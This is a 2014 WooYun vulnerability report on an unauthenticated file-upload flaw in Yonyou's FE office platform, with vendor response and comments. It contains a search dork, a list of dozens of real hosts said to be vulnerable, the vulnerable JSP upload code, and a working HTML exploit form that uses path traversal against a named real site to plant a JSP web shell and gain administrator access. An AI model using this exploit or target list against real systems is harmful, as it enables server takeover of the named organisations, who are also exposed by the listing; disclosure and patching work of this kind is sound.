当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-060671

漏洞标题：用友某办公平台任意文件上传导致代码执行漏洞（全版本）

相关厂商：用友软件

漏洞作者： 路人甲

提交时间：2014-05-14 12:24

修复时间：2014-08-09 12:26

公开时间：2014-08-09 12:26

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-14： 细节已通知厂商并且等待厂商处理中
2014-05-19： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-07-13： 细节向核心白帽子及相关领域专家公开
2014-07-23： 细节向普通白帽子公开
2014-08-02： 细节向实习白帽子公开
2014-08-09： 细节向公众公开

简要描述：

详细说明：

剑总 、 疯狗叔叔.....通用型的。。等待确认
全版本通杀getshell。。。直接拿下服务器。。无需登录
通过关键字搜索如下：

intitle:"fe协作"


涉及客户群体为：
大型企业（如：拉芳集团等等超大企业）、学校（北京师范）、医药、政府（如：珠海市人民防空办公室、广东省渔政总队珠海支队、广东煤炭地质局等等。。。）、能源（电网）、银行等等。。。
危害我就不说了吧
下面为，我通过脚本稍微搜索的结果，通过其他搜索结果远远不止这些

http://oa.bamatea.com
http://oa.moonbasa.com
http://oa.etonetech.com
http://oa.ztcz.cn
http://218.249.130.74
http://119.146.190.170:9988
http://zhidao.baidu.com
http://wenku.baidu.com
http://223.4.22.36
http://222.243.160.83:9090
http://www.chipshow.cn
http://116.205.96.170:9090
http://www.sxjbjt.com:9090
http://122.225.203.168:8888
http://oa.chinabed.com
http://oa.lutongnet.com
http://oa.zetacn.com:9090
http://oa.zhcpt.edu.cn
http://www.doc88.com
http://oa.sinodata.com.cn
http://www.docin.com
http://www.koyochem.com:8080
http://61.186.155.27
http://oa.nyinn.cn
http://115.236.65.115:9090
http://119.146.190.118:8089
http://219.137.250.133
http://123.133.29.174:9090
http://koa.ecp888.com
http://www.cting.com.cn
http://oa.suncorps.cn
http://59.41.47.211
http://oa.bamatea.com:9090
http://oa.zhenaiws.com
http://www.koyochem.com:9191
http://60.208.131.46:9090
http://219.131.221.174:9090
http://oa.bnuz.edu.cn:8080
http://183.238.59.61:9090
http://218.205.208.22:9090
http://oa.xhlbdc.com
http://124.193.165.174:9090
http://218.75.87.186:9090
http://oa.eva-group.com:511
http://113.106.92.16:9090
http://oa.cqmsy.com
http://cting.com.cn
http://220.231.158.211
http://oa.tiholding.cn
http://124.172.170.141:9090
http://oa.hengdigroup.com:9090
http://www1.elkay.com.cn:9090
http://www.gzpiano.com
http://oa.zaffer.cn
http://oa.gdisg.com


.......
在ufmail\uploadAccessory.jsp中

<%@ page contentType="text/html; charset=GBK" language="java" %>
<%@ page import="fe.util.BaseFunc,fe.ufmail.MailServer" %>
<html>
<head>
<title>附件</title>
<link href="/style1.css" rel="stylesheet" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=GBK">
<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-right: 0px;
	margin-top: 0px;
	background-color:#EEEEEE;
}
-->
</style></head>
<script language="javascript" src="/js/BaseFunc.js"></script>
<script language="javascript" src="/js/BaseFun.js"></script>
<body>
<%
	String flelst = request.getParameter("fileList");
	String action = request.getParameter("action");
	String strpath = BaseFunc.ISOToGBK(request.getParameter("temppath"));
	if ( flelst != null && flelst.length() > 0 )
		flelst = BaseFunc.ISOToGBK(flelst);
	else
		flelst = "";
	String msgStr = "";
	int allowsize = MailServer.getDefaultAccessSize();
	if ( action!=null && action.equals("save") ){
		if((request.getContentLength())> allowsize){
				msgStr = "您上传的文件大小超出了最大限制（" + (int)(allowsize/1024/1024 ) + "MB）！";
		}
		else{
			fe.util.uploadFile upload = new fe.util.uploadFile(pageContext);
	        	upload.setFilePath(strpath);
	        	upload.setMaxFileSize(allowsize);
			upload.setDeniedFileList("");
			upload.setAllowedFileList("");
			int saveFlag = upload.saveFile(false);
	        if(saveFlag==0){
	        	if(upload.isUploadError()){
		        	if(upload.getUploadFileSize() > allowsize )
						msgStr = "您上传的文件大小超出了最大限制（" + (int)(allowsize/1024/1024) + "MB）！";
		         	else
						msgStr = "对不起，您上传的文件是无效的！" + saveFlag;
	        	}
	        }else if(saveFlag==-1)
				msgStr = "您邮件服务上的临时目录无效，请与管理员联系！";
			else{
				if (flelst.length() > 0) flelst += ";;";
				flelst += upload.getUploadFileName() + ";" + upload.getSourceFileName();
	        }
	     }
		if (msgStr.length() > 0)
			out.print("<script language=\"javascript\">alert('" + msgStr + "')</script>");
	}
%>


未做过滤，从客户端获取。。。
顾可以伪造上传路径，达到上传到web目录当中取shell。
简单的搞个exp吧

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
    "http://www.w3.org/TR/html4/strict.dtd"
    >
<html lang="en">
<head>
    <title>用友软件getshell</title>
</head>
<body>
     <h3 style="width:700px; text-align:center; margin:0 auto; color:#FF00FE">用友软件getshell</h2> 
  <div style="width:600px; height:auto; margin-left:500px; margin-top:40px;">
    <form action="http://oa.bamatea.com/ufmail/uploadAccessory.jsp?action=save&temppath=../../jboss/server/default/deploy/fe.war/images/&fileList=" method="post" enctype="multipart/form-data"><!--  修改网址-->
	    <input type="file" name="accessory">
        <input type="submit" name="dosubmit" value="上传" style="margin-top:6px; height:25px;">
		<!-- shell为： http://xxx.com/images/（1400036769181.jsp 查找源代码寻找）-->
    </form>
 </div>
</body>
</html>


[357}S``LRF2I4A76$0A7$A.jpg


直接都是administrator

Q]~`R8D2(P2VNNI6{26JDO0.jpg


目前通杀所有用友该平台。。。直接拿下服务器。。无需登录

漏洞证明：

[357}S``LRF2I4A76$0A7$A.jpg


直接都是administrator

Q]~`R8D2(P2VNNI6{26JDO0.jpg

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-08-09 12:26

厂商回复：

最新状态：

2014-05-22：问题已经修复，多谢白帽子！

漏洞评价：

评论

  1. 2014-08-09 12:53 | null ( 路人 | Rank:15 漏洞数:2 | 左岸是无法忘却的回忆，右岸是值得把握的青...)

    无影响厂商忽略问题已经修复，多谢白帽子！

  2. 2014-08-09 13:10 | 进击的zjx ( 普通白帽子 | Rank:295 漏洞数:61 | 工作需要，暂别一段时间)

    厂商都好无情

  3. 2014-08-09 13:56 | Mr_Java ( 路人 | Rank:28 漏洞数:9 | 成功进入web端，哈哈！)

    就这回复？蛋疼！